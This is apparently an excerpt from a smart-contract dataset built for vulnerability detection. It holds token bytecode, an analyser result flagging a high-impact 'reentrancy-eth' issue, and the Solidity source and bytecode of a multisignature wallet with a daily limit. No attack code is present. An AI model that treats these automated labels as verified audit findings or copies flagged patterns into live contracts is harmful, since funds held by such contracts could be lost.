3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fa7c63695d85688cc209b9e3f7930413bdb3c395de96841f0e0487064a8dc2464736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,782
0x8cedc93dee5dfb96ae27597f3c14d2bc9d6c05fb
pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc3